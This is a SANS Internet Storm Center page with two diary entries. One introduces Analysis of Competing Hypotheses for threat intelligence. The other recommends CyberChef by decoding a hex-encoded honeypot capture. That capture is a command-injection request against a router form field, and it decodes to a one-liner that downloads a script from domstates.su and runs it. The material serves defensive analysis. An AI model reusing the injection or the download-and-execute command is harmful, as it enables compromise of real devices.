Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: Internet Storm Center - SANS Internet Storm Center Internet Storm Center


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Analysis of Competing Hypotheses (ACH part 1)

Published: 2017-05-28
Last Updated: 2017-05-28 14:48:05 UTC
by Pasquale Stirparo (Version: 2)
2 comment(s)

In threat intelligence, by definition, an analyst will most of the times have to perform assessments in an environment of incomplete information, and/or with information that is being produced with the purpose of misleading the analyst.

One of the well-known methodologies is the Analysis of Competing Hypotheses (ACH) [1], developed by Richards J. Heuer, Jr., a former CIA veteran. ACH is an analytic process that identifies a set of alternative hypotheses, and assesses whether data available are either consistent or inconsistent with each hypothesis. The hypotheses with most inconsistent data will be rejected. To quote Heuer’s words

ACH is a tool to aid judgment on important issues requiring careful weighing of alternative explanations or conclusions. It helps an analyst overcome, or at least minimize, some of the cognitive limitations that make prescient intelligence analysis so difficult to achieve.

It is very important to note that the goal of ACH is to reject as many hypotheses as possible, not to confirm any.

One of the advantages of using ACH is that it reduces analysts’ confirmation bias. In fact, a common pitfall during analysis usually is to form a hypothesis on our head and to look for evidences that support it, confirming indeed our initial line of thought following the “most likely” hypothesis. However, such approach does not take into account possible alternate hypotheses, as well as what other data is missing that should be there if that given hypothesis would be true. This is achieved by imposing the analyst to identify, and then refuse, as many competing hypotheses as possible using all data available.

How it works

ACH requires the analyst to collect all the related information and organize them in a matrix: all the hypotheses on the top (first row), and all the relevant information on the left side (the first column). In this way, every piece of information can be evaluated against each of the hypotheses, by assessing if it’s consistent or inconsistent. Heuer describes the full process in eight steps, which could be summarized as follow:

  1. Identify all hypotheses. Ideally, all hypotheses should be mutually exclusive, meaning that if one is true all the others must be false.
  2. Lists evidences and arguments relevant for and against each hypothesis. This has to include also assumptions and logical deductions.
  3. Create a matrix as described above and analyze each evidence against every hypotheses by defining whether is Consistent, Inconsistent or Not applicable / Not relevant, in an attempt to disprove as many hypotheses as possible. In Heuer words, analyze the “diagnosticity” of the evidence. Moreover, it is important to provide each evidence with a credibility and relevance level (i.e. high, medium or low), as it will help in the confidence of the final assessment.
  4. Refine the matrix: review the findings, identify any gaps, collect any additional evidence needed, delete evidences that have no diagnostic value.
  5. Draw tentative conclusions about the relative likelihood of each hypothesis, trying to disprove them. Less consistency implies a lower likelihood.
  6. Analyze the sensitivity of the analysis to few critical evidences.
  7. Report conclusions based on the likelihood of all hypotheses, not only the most likely one, presenting also a summary of alternatives that were considered and why they were rejected.
  8. Identify milestones for future observation

The following is an example of the final matrix from a post by Scott J. Roberts, where he applies ACH to understand whether or not the Republican National Committee and Donald J. Trump for President, Inc were victims of similar attacks as the Democratic National Committee [2]. In his post he goes step-by-step on how he created and refined his ACH matrix.

Conclusions

ACH is just one of the possible structured analytic techniques available. I personally like it very much and find it quite useful. But remember that while the matrix helps in creating a model for the analysis of problems with conflicting information and it generates a definitive mathematical total for each hypothesis, at the end it is still up to the analyst to use his/her judgment to make the final conclusion.

This was a very brief introduction of ACH, and in my next diary I will apply ACH to a practical recent case. But I definitely encourage those interested to go through Heuer’s book for a deeper explanation of such model.

Happy Hunting,
Pasquale

 

References:

[1] – Richards J. Heuer, Jr.; “Psychology of Intelligence Analysis”, Center for the Study of Intelligence, Central Intelligence Agency. https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/psychology-of-intelligence-analysis
[2] – Scott J. Roberts, “ACH Analysis of a Trump Campaign Compromise”, https://sroberts.github.io/2016/12/12/rnc-hack/

Pasquale Stirparo, Ph.D.
@pstirparo

2 comment(s)

CyberChef a Must Have Tool in your Tool bag!

Published: 2017-05-28
Last Updated: 2017-05-28 00:53:17 UTC
by Guy Bruneau (Version: 1)
0 comment(s)

This multipurpose and feature rich tool has been available for a while now and is updated regularly. What I find the most interesting is the number of features that are available this tool.

CyberChef is fully portable and can be downloaded locally as an simple HTML self-contained page that can run in any browsers or if you prefer, you can download the package from Github and compile it yourself[2] but why bother. Since the code is updated regularly, I find the first option more practical. It contains a large number of Operations such as Encoding/Decoding, Logical Operations, Extractors and Hashing to name a few. Note, each one of these Operations expand into a large subset of tools. Here is the complete list of Operations:

For example, take this Web Hex encode data stream that I captured today in my Honeypot:

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `%63%64%20%2F%74%6D%70%3B%72%6D%20%2D%66%20%6E%6D%6C%74%31%2E%73%68%3B%77%67%65%74%20%2D%4F%20%6E%6D%6C%74%31%2E%73%68%20%68%74%74%70%3A%2F%2F%64%6F%6D%73%74%61%74%65%73%2E%73%75%2F%6E%6D%6C%74%31%2E%73%68%3B%63%68%6D%6F%64%20%2B%78%20%6E%6D%6C%74%31%2E%73%68%3B%2E%2F%6E%6D%6C%74%31%2E%73%68`&StartEPI=1

First, take copy the data from '%63%64[...]%73%68' and do a search and replace to remove the percent (%) from the data because CyberChef doesn't have an option to deal with the percent to ignore it. Paste the result into the Iput box and select From Hex to see the human readable text:

6364202F746D703B726D202D66206E6D6C74312E73683B77676574202D4F206E6D6C74312E736820687474703A2F2F646F6D7374617465732E73752F6E6D6C74312E73683B63686D6F64202B78206E6D6C74312E73683B2E2F6E6D6C74312E7368

The human readable form translate to:

cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh http://domstates.su/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh

If you have been looking for a multipurpose tool, this is the one. Give it a try!

[1] https://gchq.github.io/CyberChef/
[2] https://github.com/gchq/CyberChef
[3] https://encoder.secapps.com/

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

File2pcap - A new tool for your toolkit!
May 26th 2017
3 days ago by Lorna (0 comments)

Critical Vulnerability in Samba from 3.5.0 onwards
May 25th 2017
5 days ago by Xme (1 comment)

Jaff ransomware gets a makeover
May 24th 2017
6 days ago by Brad (2 comments)

What did we Learn from WannaCry? - Oh Wait, We Already Knew That!
May 23rd 2017
6 days ago by Rob VandenBrink (1 comment)

View All Diaries →

Latest Discussions

New Option of Software and Cyber Security
created May 28th 2017
1 day ago by Jeff (0 replies)

SANS PGP Public Keys
created May 28th 2017
1 day ago by Vincent (2 replies)

Advice needed
created May 28th 2017
2 days ago by FNG (0 replies)

What bot is that?
created May 5th 2017
3 weeks ago by Visi (2 replies)

Curious Phishing Email
created Apr 27th 2017
1 month ago by Rich (0 replies)

View All Forums →

Latest News

View All News →

Top Diaries

OAUTH phishing against Google Docs ? beware!
May 3rd 2017
3 weeks ago by Bojan (6 comments)

Massive wave of ransomware ongoing
May 15th 2017
2 weeks ago by Xme (9 comments)

Malspam with password-protected Word documents
Mar 21st 2017
2 months ago by Brad (13 comments)

Dyn.com DDoS Attack
Oct 21st 2016
7 months ago by Johannes (9 comments)

Microsoft Patch Tuesday Delayed
Feb 18th 2017
3 months ago by Johannes (7 comments)